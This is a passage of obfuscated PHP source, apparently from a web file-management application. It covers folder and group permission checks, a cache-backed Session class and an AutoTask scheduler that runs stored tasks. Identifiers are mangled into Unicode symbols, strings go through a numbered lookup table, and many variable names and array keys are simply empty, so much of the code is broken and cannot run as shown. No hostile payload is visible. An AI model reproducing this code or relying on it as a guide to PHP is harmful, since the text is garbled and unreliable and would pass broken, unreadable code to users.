!= $ޫ) { if ($㞿[$聓[190]] == SourceModel::TYPE_GROUP) { } if ($㞿[$聓[569]] != 0 && !in_array($㞿[$聓[569]], $)) { } } if ($㞿[$聓[569]] == 0) { $㞿[$聓[190]] = SourceModel::TYPE_USER; } $[] = array($聓[193] => $, $聓[190] => intval($㞿[$聓[190]]), $聓[569] => intval($㞿[$聓[569]]), $聓[2070] => intval($㞿[$聓[2070]]) ? intval($㞿[$聓[2070]]) : 0, $聓[2131] => intval($㞿[$聓[2131]]) ? intval($㞿[$聓[2131]]) : -1); } $this->where(array($聓[491] => $))->delete(); $this->addAll($); return !0; } public function authClear($͟) { $ =& $_SERVER[]; $λ = Model($[1411])->sourceInfo($͟); $ԅ = array($͟); if ($λ[$[485]] == $[91]) { $ = array($[652] => array($[612], $λ[$[584]] . $͟ . $[613])); $ԅ = Model($[1411])->field($[491])->where($)->getField($[193], !0); $ԅ[] = $͟; } $this->where(array($[491] => array($[492], $ԅ)))->delete(); return !0; } public function getAllChildren($) { $ԟĐ =& $_SERVER[]; $ɤ = Model($ԟĐ[1411])->sourceInfo($); if ($ɤ[$ԟĐ[485]] != $ԟĐ[91]) { return $this->sourceListAuth(array($)); } if ($ɤ[$ԟĐ[190]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ = array($); if ($ɤ[$ԟĐ[192]] == $ԟĐ[228] && $ɤ[$ԟĐ[569]] != $) { $ = $this->groupChidldAllRootSource($ɤ[$ԟĐ[569]]); } $ = $this->field($ԟĐ[193])->group($ԟĐ[193])->select(); $ = array_to_keyvalue($, $ԟĐ[12], $ԟĐ[193]); if (!$) { return array(); } $⥇ = $ԟĐ[2150]; $ = array($ԟĐ[193] => array($ԟĐ[7], $), $ԟĐ[505] => $ԟĐ[228]); $͕ = Model($ԟĐ[899])->field($⥇)->where($)->select(); $Ԅ = array($); foreach ($͕ as $) { foreach ($ as $) { $ = $ԟĐ[50] . $ . $ԟĐ[50]; $ﰞ = $[$ԟĐ[584]] . $[$ԟĐ[193]] . $ԟĐ[50]; if (strstr($ﰞ, $)) { $Ԅ[] = $[$ԟĐ[193]]; break; } } } return $this->sourceListAuth($Ԅ); } private function sourceListAuth($ØԂ) { $§ =& $_SERVER[]; $굱̍ = Model($§[1411])->sourceListInfo($ØԂ, !0); $ = $this->sourceAuthSelect($ØԂ); $ܾ = array(); $ƿʪ = array(); foreach ($굱̍ as $) { unset($[$§[529]]); unset($[$§[527]]); unset($[$§[487]]); unset($[$§[90]]); $ = $[$[$§[193]]]; if (!$) { continue; } $[$§[2151]] = $this->authTargetInfo($); $[$§[582]] = rtrim($[$§[588]], $§[8]) . $§[8] . ltrim($[$§[582]], $§[8]); $ܾ[] = $; $蓃 = count(explode($§[8], trim($[$§[582]], $§[8]))); $ƿʪ[] = $蓃 + ($[$§[33]] == $§[78] ? 0 : 1000); } array_multisort($ƿʪ, SORT_ASC, $ܾ); return $ܾ; } private function groupChidldAllRootSource($ȼ) { $ =& $_SERVER[]; $ = Model($[2152])->groupChildrenAll($ȼ); $ƻ = array($[192] => 0, $[569] => array($[7], $), $[190] => SourceModel::TYPE_GROUP); $ = Model($[899])->field($[193])->where($ƻ)->select(); $ = array_to_keyvalue($, $[12], $[193]); return $; } private function authTargetInfo($) { $ƴ =& $_SERVER[]; $ե˙ = array(); $ض = array(); $ = 2 << 25; foreach ($ as $) { $ę = Model($ƴ[571])->listData($[$ƴ[2070]]); if (!$ę) { continue; } if ($[$ƴ[190]] == SourceModel::TYPE_USER) { $ؘŽ = Model($ƴ[577])->getInfoSimpleOuter($[$ƴ[569]]); if ($ؘŽ[$ƴ[1763]] == $ƴ[1266]) { continue; } if ($ؘŽ[$ƴ[1763]] == $ƴ[228]) { $ؘŽ[$ƴ[32]] = LNG($ƴ[2153]); } } else { $ؘŽ = Model($ƴ[585])->getInfoSimple($[$ƴ[569]]); } if (!$ؘŽ) { continue; } $ؘŽ[$ƴ[540]] = $ę; $ե˙[] = $ؘŽ; $ۂ = 0; if ($[$ƴ[190]] == SourceModel::TYPE_GROUP) { $ۂ = $ * 2; } if ($[$ƴ[190]] == SourceModel::TYPE_USER) { $ۂ = $; } if ($[$ƴ[190]] == SourceModel::TYPE_USER && $[$ƴ[569]] == $ƴ[228]) { $ۂ = 0; } $ض[] = $ę[$ƴ[487]] + $ۂ; } array_multisort($ض, SORT_DESC, $ե˙); return $ե˙; } public function getAllChildrenByUser($, $ú) { $ܲ =& $_SERVER[]; $Ƶ = Model($ܲ[598])->getInfo($ú); if (!$ú || !$ || !$Ƶ) { return array(); } $ = Model($ܲ[1411])->sourceInfo($); $ = array(); $Ƭ = 1; if ($[$ܲ[192]] == $ܲ[228] && $[$ܲ[569]] != $Ƭ && $this->groupContainUser($[$ܲ[569]], $ú)) { foreach ($Ƶ[$ܲ[2154]] as $) { $ޚ = Model($ܲ[585])->getInfo($[$ܲ[1962]]); $˾ = Model($ܲ[598])->getInfoSimpleOuter($ú); $˾[$ܲ[540]] = $[$ܲ[487]]; if (Model($ܲ[571])->authCheckAction($[$ܲ[487]][$ܲ[487]], $ܲ[1983])) { continue; } $ = array($ܲ[32] => $ܲ[1286] . $ޚ[$ܲ[32]], $ܲ[193] => $ޚ[$ܲ[90]][$ܲ[193]], $ܲ[87] => KodIO::make($ޚ[$ܲ[90]][$ܲ[193]]), $ܲ[192] => $ܲ[228], $ܲ[190] => $ܲ[578], $ܲ[33] => $ܲ[616], $ܲ[582] => $ޚ[$ܲ[589]], $ܲ[1962] => $ޚ[$ܲ[1962]], $ܲ[586] => $ޚ[$ܲ[192]], $ܲ[2151] => array($˾)); $[$[$ܲ[193]]] = $; } } $ = array(); $֣ = $this->getAllChildren($); foreach ($֣ as $Ϳ) { $ = !1; foreach ($Ϳ[$ܲ[2151]] as $颥) { if ($颥[$ܲ[1763]]) { if ($颥[$ܲ[1763]] == $ú) { $ = !0; break; } } if ($颥[$ܲ[1962]]) { if ($this->groupContainUser($颥[$ܲ[1962]], $ú)) { $ = !0; break; } } } if ($) { $[] = $Ϳ; } $ = $Ϳ[$ܲ[193]]; if (isset($[$])) { $Ϳ[$ܲ[2151]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ = array_merge($, $); return $; } public function setAllChildrenByUser($, $, $ėٕ) { $ۑ =& $_SERVER[]; $ɹх = $this->getAllChildrenByUser($, $); if (!$ėٕ || !$ɹх) { return !1; } foreach ($ɹх as $Ơ) { $䘍 = array(); foreach ($Ơ[$ۑ[2151]] as $) { $ = $[$ۑ[540]]; $ƶ = $[$ۑ[1763]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $[$ۑ[1763]] ? $[$ۑ[1763]] : $[$ۑ[1962]]; if ($[$ۑ[1763]] && $[$ۑ[1763]] == $) { continue; } $䘍[] = array($ۑ[193] => $Ơ[$ۑ[193]], $ۑ[190] => $ƶ, $ۑ[569] => intval($), $ۑ[2070] => isset($[$ۑ[475]]) ? intval($[$ۑ[475]]) : 0, $ۑ[2131] => isset($[$ۑ[2131]]) ? intval($[$ۑ[2131]]) : -1); } $䘍[] = array($ۑ[193] => $Ơ[$ۑ[193]], $ۑ[190] => SourceModel::TYPE_USER, $ۑ[569] => intval($), $ۑ[2070] => intval($ėٕ), $ۑ[2131] => -1); $this->where(array($ۑ[491] => $Ơ[$ۑ[193]]))->delete(); $this->addAll($䘍); } return !0; } public function get($職) { $ = $this->getSourceList(array($職), !0); return $[0]; } public function getSourceList($ȏ, $ = false, $« = false) { $Ɯ =& $_SERVER[]; if (!$ȏ) { return array(); } $Ç = Model($Ɯ[1411]); if (!$ && count($ȏ) == 1) { $ = array(); $[$ȏ[0]] = $Ç->sourceInfo($ȏ[0]); } if (!$) { $솸 = array($Ɯ[491] => array($Ɯ[492], $ȏ)); $ = $Ç->field($Ɯ[2155])->where($솸)->select(); $ = array_to_keyvalue($, $Ɯ[193]); } $ = $ȏ; foreach ($ as $ۮ => $ٲ) { $ʰ = $Ç->parentLevelArray($ٲ[$Ɯ[584]]); $ = array_merge($, array($ۮ), array_reverse($ʰ)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ = $this->sourceAuthSelect($); $ = array(); foreach ($ as $̮) { if (isset($[$̮])) { $[$̮] = $[$̮]; } } $ʙ = $this->userIsRoot($«); $ = AuthModel::authAll(); $ߌ = array($Ɯ[488] => $, $Ɯ[2156] => array($Ɯ[493] => 0, $Ɯ[1968] => $, $Ɯ[494] => LNG($Ɯ[2157]), $Ɯ[1985] => $Ɯ[2158])); $ٕʹ = array(); foreach ($ as $̮ => $) { if ($ʙ && $GLOBALS[$Ɯ[6]][$Ɯ[1981]]) { $ٕʹ[$̮] = $ߌ; continue; } $ٕʹ[$̮] = $this->makeSourceAuth($, $, $«); } return $ٕʹ; } public function authDeepCheck($, $ = false) { $۞ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->makeAuthDeep($); if (!in_array($, $[$۞[2159]])) { return !1; } $ﻶ = array(); foreach ($[$۞[2160]] as $ꃃϰ => $אȽ) { if (!in_array($, $אȽ)) { continue; } $ﻶ[] = $ꃃϰ; } if (!$ﻶ) { return !1; } $ = $ﻶ ? $ﻶ[0] : $; return array($۞[488] => -1, $۞[540] => array($۞[493] => $۞[1266], $۞[1968] => $۞[228], $۞[494] => LNG($۞[2161]), $۞[1985] => $۞[2162]), $۞[2163] => LNG($۞[2164]), $۞[2165] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ڈ = false) { $þ =& $_SERVER[]; static $ϖ = array(); $ڈ = $ڈ ? $ڈ : USER_ID; if (isset($ϖ[$ڈ])) { return $ϖ[$ڈ]; } $ = Model($þ[2166])->listData(); $置 = array(); foreach ($ as $ћ) { if ($ћ[$þ[487]] == 0 && $ћ[$þ[1984]] == $þ[91]) { $置[] = $ћ[$þ[475]]; } } $ = $this->userGroupParents($ڈ); $ = array($þ[190] => SourceModel::TYPE_USER, $þ[569] => $ڈ); if ($) { $ = array(array($þ[190] => SourceModel::TYPE_USER, $þ[569] => $ڈ), array($þ[190] => SourceModel::TYPE_GROUP, $þ[569] => array($þ[492], $)), $þ[1071] => $þ[2064]); } $ = $this->field($þ[2167])->where($)->select(); $ݓ = array(); $Ո = array_to_keyvalue_group($, $þ[193]); foreach ($Ո as $Ԡޖ => $ȶ) { $£ؠ = $this->authArrayCheck($ȶ, $ڈ); if ($£ؠ[$þ[488]] > 0) { $ݓ[] = $Ԡޖ . $þ[12]; } } if ($) { $ = Model($þ[585]); foreach ($ as $) { $傘 = $->getInfo($); if (!$傘 || !is_array($傘[$þ[90]])) { continue; } $ݓ[] = $傘[$þ[90]][$þ[193]]; } } $¥ = array(); $ = $; $뾣 = Model($þ[1411]); $ = Model($þ[585]); $ = array(); $͟ = array(); $ = array(); $Ħ = array(); if ($ݓ) { $Ԡ = $뾣->where(array($þ[193] => array($þ[492], $ݓ)))->select(); foreach ($Ԡ as $ę) { $ۤ = $뾣->parentLevelArray($ę[$þ[584]]); $¥ = array_merge($¥, $ۤ); $[] = $ę[$þ[569]]; $[$ę[$þ[193]]] = $ۤ; $͟[$ę[$þ[193]]] = $ę[$þ[569]]; } } $ = array_values(array_unique($)); $ = $; foreach ($ as $) { $傘 = $->getInfo($); $ۤ = $뾣->parentLevelArray($傘[$þ[584]]); $ = array_merge($, $ۤ); } $ = array_values(array_unique($)); foreach ($ as $) { $傘 = $->getInfo($); $¥[] = $傘[$þ[90]][$þ[193]]; $[$] = $傘[$þ[90]][$þ[193]]; $Ħ[$] = $뾣->parentLevelArray($傘[$þ[584]]); } foreach ($ as $ܻ => $) { $Շ = $͟[$ܻ]; if (!$Շ || !$[$Շ]) { continue; } $칪 = array(); foreach ($Ħ[$Շ] as $) { $칪[] = $[$]; } $[$ܻ] = array_merge($칪, $); } $¥ = array_values(array_unique($¥)); $܅ = array($þ[2159] => $¥, $þ[2160] => $); $ϖ[$ڈ] = $܅; return $܅; } private function makeSourceAuth($ߥ, $݄, $ = false) { $מխ =& $_SERVER[]; $͠ޔ = $מխ[91]; $ݐ = $ߥ[$מխ[569]]; $Ú = $ߥ[$מխ[190]] == SourceModel::TYPE_GROUP; $ = $Ú ? $this->groupRootAuth($ݐ, $) : !1; if ($ && Model($מխ[571])->authCheckAction($[$מխ[487]], $מխ[1983])) { return $this->groupAuthInfo($, $ݐ); } $ߟ = Model($מխ[1411])->parentLevelArray($ߥ[$מխ[584]]); $ߟ = array_merge(array($ߥ[$מխ[193]]), array_reverse($ߟ)); $ = !1; foreach ($ߟ as $) { if (!isset($݄[$])) { continue; } $崢 = $this->authMake($݄[$], $); if ($崢[$מխ[540]]) { $ = $崢; break; } } if (!$Ú) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $ݐ); } if (!$) { $쥳 = Model($מխ[585])->getInfo($ݐ); $ےї = explode($מխ[50], trim($쥳[$מխ[584]], $מխ[50])); $ےї = array_reverse($ےї); foreach ($ےї as $) { if ($ == $מխ[228] || $ == $͠ޔ) { continue; } $ = $this->groupRootAuth($, $); if (!$) { continue; } $ = $this->groupAuthInfo($, $); break; } } if (!$ || $[$מխ[488]] <= 0) { $ = $this->authDeepCheck($ߥ[$מխ[193]], $); if ($) { $ = $; } } return $; } private function userIsRoot($Ǯ = false) { $Ĉ =& $_SERVER[]; if (!$Ǯ && KodUser::isRoot()) { return !0; } $ڦ = Model($Ĉ[598])->getInfo($Ǯ); $۔ = Model($Ĉ[2168])->listData($ڦ[$Ĉ[2169]]); if ($۔ && $۔[$Ĉ[575]][$Ĉ[2170]] == 1) { return !0; } return !1; } private function sourceAuthInfo($ቝ) { $Ӟ =& $_SERVER[]; $簔 = Model($Ӟ[1411]); $ = $簔->sourceInfo($ቝ); if (!$) { return !1; } $簔->groupPathDisplay($); $ޥ = array($); $ޥ = $簔->_listAppendPath($ޥ); $ = $ޥ[0]; $ = $[$Ӟ[582]]; if (isset($[$Ӟ[590]])) { $ = explode($Ӟ[8], trim($[$Ӟ[582]], $Ӟ[8])); array_shift($); $ = $[$Ӟ[588]] . $Ӟ[2171] . implode($Ӟ[8], $); } return array($Ӟ[494] => $[$Ӟ[32]], $Ӟ[87] => KodIO::make($[$Ӟ[193]]), $Ӟ[2172] => $); } private function groupAuthInfo($, $) { $ =& $_SERVER[]; $ = Model($[585])->getInfo($); return array($[2173] => intval($[$[487]]), $[2156] => $, $[2174] => LNG($[2175]), $[2165] => array($[494] => $[$[32]], $[87] => KodIO::make($[$[90]][$[193]]), $[2172] => $[$[589]])); } protected function groupRootAuth($, $窫̏ = false) { $ =& $_SERVER[]; $窫̏ = $窫̏ ? $窫̏ : USER_ID; $ = $窫̏ . $[2176] . $; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[585])->getInfo($); $ˤ = $this->userGroupList($窫̏); $֩ = isset($ˤ[$]) ? $ˤ[$][$[487]] : !1; if ($֩ && Model($[571])->authCheckAction($֩[$[487]], $[1983])) { $[$] = $֩; return $֩; } $̊ = $this->sourceAuthSelect($[$[90]][$[193]]); $ = $̊ ? $this->authMake($̊, $窫̏) : !1; $؛ = $ ? $[$[540]] : !1; $[$] = $؛ ? $؛ : $֩; return $[$]; } public function authOwnerApply($̭) { $Ӳ =& $_SERVER[]; if (empty($̭[$Ӳ[487]]) || isset($̭[$Ӳ[2177]]) && $̭[$Ӳ[2177]]) { return $̭; } if (AuthModel::authCheckRoot($̭[$Ӳ[487]][$Ӳ[488]])) { return $̭; } $ = Model($Ӳ[1411])->parentLevelArray($̭[$Ӳ[584]]); $ = array_merge(array($̭[$Ӳ[193]]), array_reverse($)); $ވ = $this->sourceAuthSelect($); $պʚ = array(); $ĺ = array(); foreach ($ވ as $ => $碐) { $ = $this->authFolderOwnerUser($碐); $պʚ[$] = $; $ĺ = array_merge($ĺ, $[$Ӳ[662]]); if ($[$Ӳ[2178]]) { break; } } if (count($ĺ) == 0) { $ĺ = $this->authFolderOwnerGroup($̭[$Ӳ[569]]); } $ĺ = array_unique($ĺ); if (AuthModel::authCheckRoot($̭[$Ӳ[487]][$Ӳ[488]])) { $ĺ[] = USER_ID; } $̭[$Ӳ[487]][$Ӳ[2179]] = Model($Ӳ[577])->userListInfo($ĺ); return $̭; } private function authFolderOwnerGroup($ո) { $ =& $_SERVER[]; $샏 = Model($[2056])->where(array($[1962] => $ո))->select(); $Л = array(); if (!$샏) { return $Л; } foreach ($샏 as $) { $ = $this->authInfo($); if (AuthModel::authCheckRoot($[$[487]])) { $Л[] = $[$[1763]]; } } return $Л; } private function authFolderOwnerUser($) { $ =& $_SERVER[]; $ɩ = array(); $˒ = !1; foreach ($ as $Ӷ) { $ = $this->authInfo($Ӷ); if ($Ӷ[$[569]] == $[228]) { $˒ = !0; } if ($Ӷ[$[190]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$[487]])) { $ɩ[] = $Ӷ[$[569]]; } } } return array($[662] => $ɩ, $[2178] => $˒); } public function authMake($ʭ, $۟ = false) { $մ =& $_SERVER[]; $ڛ = $this->authArrayCheck($ʭ, $۟); if ($ڛ[$մ[2180]]) { $ڛ[$մ[2180]] = $this->sourceAuthInfo($ڛ[$մ[2180]]); } return $ڛ; } public function authArrayCheck($ɤͤ, $ؖ鹽 = false) { $ =& $_SERVER[]; if (!$ɤͤ) { return array($[488] => 0, $[540] => !1); } $ؖ鹽 = $ؖ鹽 ? $ؖ鹽 : USER_ID; $ = 0; $Ǝ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $ = 1000; $ǝ = 0; $ = 0; $ = 0; $ = 0; $ڃ = array($[193] => 0); foreach ($ɤͤ as $ڃ) { $ = $this->authInfo($ڃ); if (!$) { continue; } $Dz = $ڃ[$[569]]; $ = intval($[$[487]]); if ($ڃ[$[190]] == SourceModel::TYPE_USER && $Dz == $ؖ鹽) { $ = !0; $ = $; $Ǝ = $; } else { if ($ڃ[$[190]] == SourceModel::TYPE_GROUP && $this->groupContainUser($Dz, $ؖ鹽)) { $ = !0; $ߒ = $this->groupStepToUserGroup($Dz, $ؖ鹽); if ($ߒ < $) { $ = $ߒ; $ = $; $ = $; $ǝ = $Dz; } if ($ߒ == $ && $ >= $) { $ = $; $ = $; $ǝ = $Dz; } } else { if ($Dz == $[228]) { $ = !0; $ = $; $ = $; } } } } if ($) { $ = $Ǝ; $ = $; $ѫՉ = LNG($[2181]); } else { if ($) { $ = $; $ = $; $Ϥ = Model($[585])->getInfo($ǝ); $ѫՉ = $[176] . $Ϥ[$[589]] . $[2182] . LNG($[2183]); } else { if ($) { $ = $; $ = $; $ѫՉ = LNG($[2153]); } else { $ = 0; $ = !1; $ѫՉ = $[12]; } } } $딭 = array($[2173] => intval($), $[2156] => $, $[2174] => $ѫՉ, $[2165] => $ڃ[$[193]]); return $딭; } private function groupContainUser($, $Ї = false) { return in_array($, $this->userGroupParents($Ї)); } private function groupStepToUserGroup($ͭ, $ = false) { $ =& $_SERVER[]; $ٟ = $this->userGroupList($); $ = 1000; $ʱ = $GLOBALS[$[6]][$[92]][$[2069]] == 1; $ = $ʱ ? 3 : 2; foreach ($ٟ as $̳) { if ($̳[$[1962]] == $ͭ) { return 0; } $ = explode($[50], trim($̳[$[584]], $[50])); if ($[0] == $[228] && count($) > $) { $ָȭ = array_reverse(array_slice($, $)); $π = array_search($ͭ, $ָȭ); if ($π !== !1 && $π + 1 <= $) { $ = $π + 1; } } } return $; } private function userGroupList($Ʊ = false) { $Ǽޯ =& $_SERVER[]; static $ = array(); if (isset($[$Ʊ])) { return $[$Ʊ]; } $ک = Model($Ǽޯ[598])->getInfo($Ʊ); $[$Ʊ] = array_to_keyvalue($ک[$Ǽޯ[2154]], $Ǽޯ[1962]); return $[$Ʊ]; } public function userGroupParents($) { $ =& $_SERVER[]; static $ԋÛ = array(); $ = $ ? $ : USER_ID; if (isset($ԋÛ[$])) { return $ԋÛ[$]; } $ǽ = $this->userGroupList($); $跻 = array(); $ò = $GLOBALS[$[6]][$[92]][$[2069]] == 1; $š = $ò ? 3 : 2; foreach ($ǽ as $) { $Į = array($[$[1962]]); $ܭ = explode($[50], trim($[$[584]], $[50])); if ($ܭ[0] == $[228] && count($ܭ) > $š) { $ = array_slice($ܭ, $š); $Į = array_merge($Į, array_reverse($)); } $跻 = array_merge($跻, $Į); } $ԋÛ[$] = array_unique($跻); return $ԋÛ[$]; } public function authTargetInfoMake($⊔) { $ݶ =& $_SERVER[]; $ģ = array(); $ = array(); foreach ($⊔ as $ޔ) { if ($ޔ[$ݶ[190]] == SourceModel::TYPE_USER) { $ģ[] = intval($ޔ[$ݶ[569]]); } else { if ($ޔ[$ݶ[190]] == SourceModel::TYPE_GROUP) { $[] = intval($ޔ[$ݶ[569]]); } } } if ($ģ) { $ģ = Model($ݶ[577])->userListInfo($ģ); } if ($) { $҅ = array($ݶ[2054] => array($ݶ[492], $)); $ = Model($ݶ[585])->field($ݶ[2184])->where($҅)->select(); $ = array_to_keyvalue($, $ݶ[1962]); } return array($ݶ[2185] => $ģ, $ݶ[2186] => $); } public function authInfo($֟) { $ =& $_SERVER[]; if ($֟[$[2070]]) { $ = Model($[571])->listData($֟[$[2070]]); if (!$) { return !1; $ԙܭ = Model($[571])->listData(); $ = array_filter_by_field($ԙܭ, $[487], $[228]); return $; } $Ğ = array_field_key($, array($[475], $[32], $[487], $[1985], $[1986])); $Ğ[$[2187]] = $֟; return $Ğ; } else { return array($[493] => 0, $[1968] => $֟[$[2131]], $[494] => $[12], $[1985] => $[2188]); } } } goto c; DӖ챈: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $ = false; if ($) { return $; } $DZ = $GLOBALS[$[6]][$[425]]; self::$sessionTime = $DZ[$[1709]]; $ = isset($GLOBALS[$[1710]]) ? $GLOBALS[$[1710]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $Ǐ = $DZ[$[1711]]; $ = $DZ[$Ǐ]; $ʁڠ = $DZ[$[902]]; switch ($Ǐ) { case $[21]: self::$handle = Model($[903]); break; case $[904]: self::$handle = new CacheRedis($, $ʁڠ); break; case $[905]: self::$handle = new CacheMemcached($, $ʁڠ); break; case $[230]: $[$[87]] = $[$[87]] . $[1712]; self::$handle = new CacheFile($, $ʁڠ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($Ż) { $ȕ = self::$handle->get($Ż); $ȕ = unserialize($ȕ); return is_array($ȕ) ? $ȕ : array(); } public static function setBySign($Ջ, $ǚ) { CacheLock::lock($Ջ); self::$handle->set($Ջ, serialize($ǚ), self::$sessionTime); CacheLock::unlock($Ջ); } public static function sign($˔ = false) { if ($˔) { self::$sessionSign = $˔; } self::init(); return self::$sessionSign; } public static function set($ڸ, $Ҽ = false) { self::init(); if (is_array($ڸ)) { foreach ($ڸ as $ɶ => $֤) { array_set_value(self::$data, $ɶ, $֤); } } else { array_set_value(self::$data, $ڸ, $Ҽ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($ȧ) { self::init(); unset(self::$data[$ȧ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][908])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ˎ =& $_SERVER[]; if (self::valueGet($ˎ[817]) != $ˎ[91]) { return; } if (self::valueGet($ˎ[1713]) == $ˎ[91]) { $ = self::valueGet($ˎ[1714]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($ˎ[1713], $ˎ[91]); self::log($ˎ[1715] . ACTION . $ˎ[1716]); Hook::bind($ˎ[1717], $ˎ[1718]); $ֻ = 0; while (!0) { self::cacheClear(); if (self::valueGet($ˎ[817]) != $ˎ[91]) { self::valueSet($ˎ[1713], $ˎ[228]); self::log($ˎ[1719]); die; } $ = time(); if ($ - $ֻ >= 60) { self::valueSet(array($ˎ[1713] => $ˎ[91], $ˎ[1714] => $)); $ֻ = $; } if (!file_exists(USER_SYSTEM . $ˎ[1720])) { self::valueSet(array($ˎ[1713] => $ˎ[228], $ˎ[817] => $ˎ[228])); self::log($ˎ[1721]); die; } $̣ = file_get_contents(BASIC_PATH . $ˎ[1722]); $څ = KOD_VERSION . $ˎ[10] . KOD_VERSION_BUILD; $ = match_text($̣, $ˎ[1723]) . $ˎ[10] . match_text($̣, $ˎ[1724]); if ($ != $څ) { self::restart(); self::log("\x73\x74\x6f\160\145\x64\56\x5b\x76\145\162\163\x69\x6f\156\x20\165\160\144\x61\164\145\73{$versionNow}\40\75\x3e\x20{$version}\x5d"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =& $_SERVER[]; http_close(); $GLOBALS[$[1725]] = 1; $_SERVER[$[1726]] = $[1727]; $_COOKIE = array(); $GLOBALS[$[1728]] = 1; $GLOBALS[$[1729]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[]; http_close(); self::valueSet($[817], $[228]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1713] => $[228], $[817] => $[91])); self::log($[1730]); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($[817]) == $[91] ? $[228] : $[91]; self::valueSet($[817], $); } public static function shutdownEvent() { $ƚ =& $_SERVER[]; self::valueSet($ƚ[1713], $ƚ[228]); self::log($ƚ[1731]); } public static function config($Ƭ, $ާ) { self::valueSet($_SERVER[][817], $Ƭ); } private static function taskRunAll() { $ŕ =& $_SERVER[]; $ѡȣ = timeFloat(); $ҥ = Model($ŕ[1732])->listData(); $ = count($ҥ); for ($ȧ硬 = 0; $ȧ硬 < $; $ȧ硬++) { $ = $ҥ[$ȧ硬]; if (!$[$ŕ[475]] || $[$ŕ[1733]] != $ŕ[91]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($ŕ[1734]); self::taskQueueRun($ѡȣ); } private static function taskQueueRun($) { $ = 10; while (!0) { $è݊ = TaskQueue::run(); if ($è݊ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[]; $땪 = json_decode($[$[206]], !0); $ = intval($[$[1714]]); $ = strtotime($[1735] . $땪[$[1736]] . $[1737]) - strtotime($[1738]); $ð = time() - strtotime(date($[1739]) . $[1740]); $ꓛ = $ð >= $ && $ð <= $ + 3600; switch ($땪[$[33]]) { case $[1741]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($땪[$[1741]] == date($[1742]) && $ꓛ) { return !0; } break; case $[1743]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($[1744]) == 0 ? 7 : date($[1744]); if ($땪[$[1743]] == $ && $ꓛ) { return !0; } break; case $[1736]: if (time() - $ < 3600 * 24) { return !1; } if ($ꓛ) { return !0; } break; case $[1745]: if (time() - $ >= floatval($땪[$[1745]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ڭ = 300; if (!$) { $ = time(); } if (time() - $ < $ڭ) { return; } $ = time(); $狛 = Model($[577])->db($[12]); if ($狛) { $狛->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1746], $[1747]); die; } } public static function taskRun($) { $ =& $_SERVER[]; self::log($[1748] . $[$[475]] . $[1749] . $[$[32]] . $[1750] . $[$[1751]]); Model($[1732])->run($[$[475]]); $ = timeFloat(); $ = $[12]; switch ($[$[33]]) { case $[383]: $ = url_request($[$[1751]], $[261], !1, !1, !1, !1, 10); if ($[$[817]]) { $ = strlen($[$[1280]]); } break; case $[260]: $ = Hook::apply($[$[1751]]); default: break; } Model($[1752])->add(array($[1753] => $[12], $[1754] => $[228], $[33] => $[1755] . $[$[475]], $[1756] => json_encode(array($[32] => $[$[32]], $[1757] => timeFloat() - $, $[369] => $)))); $ڜ = $ ? $[1758] . $ : $[12]; self::log($[1759] . $[$[475]] . $[178] . $ڜ); return !0; } public static function valueGet($̓Ԁ) { $ꉎ =& $_SERVER[]; $¨ = $ꉎ[1760]; $㩓 = Model($ꉎ[508])->get($̓Ԁ, $¨); if (is_null($㩓)) { Model($ꉎ[508])->set($ꉎ[817], $ꉎ[91], $¨); Model($ꉎ[508])->set($ꉎ[1713], $ꉎ[228], $¨); $㩓 = Model($ꉎ[508])->get($̓Ԁ, $¨); } return $㩓; } private static function valueSet($, $úɳ = false) { $ϧ =& $_SERVER[]; $և = $ϧ[1761]; CacheLock::lock($և); $峢 = Model($ϧ[508])->set($, $úɳ, $ϧ[1760]); CacheLock::unlock($և); return $峢; } protected static function log($) { write_log($, $_SERVER[][1747]); } private static function cacheClear() { $͇ =& $_SERVER[]; Cache::clearMemory(Model($͇[508])->cacheKey($͇[1760])); Cache::clearMemory(Model($͇[508])->cacheKey($͇[1762])); Model($͇[1732])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\x74\x6f\160"; const STATYS_RUNNING = "\x72\x75\x6e\x6e\151\x6e\x67"; const STATYS_KILL = "\153\x69\x6c\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($ġ, $ǫ˓ = '', $ = 0, $ = '') { $ =& 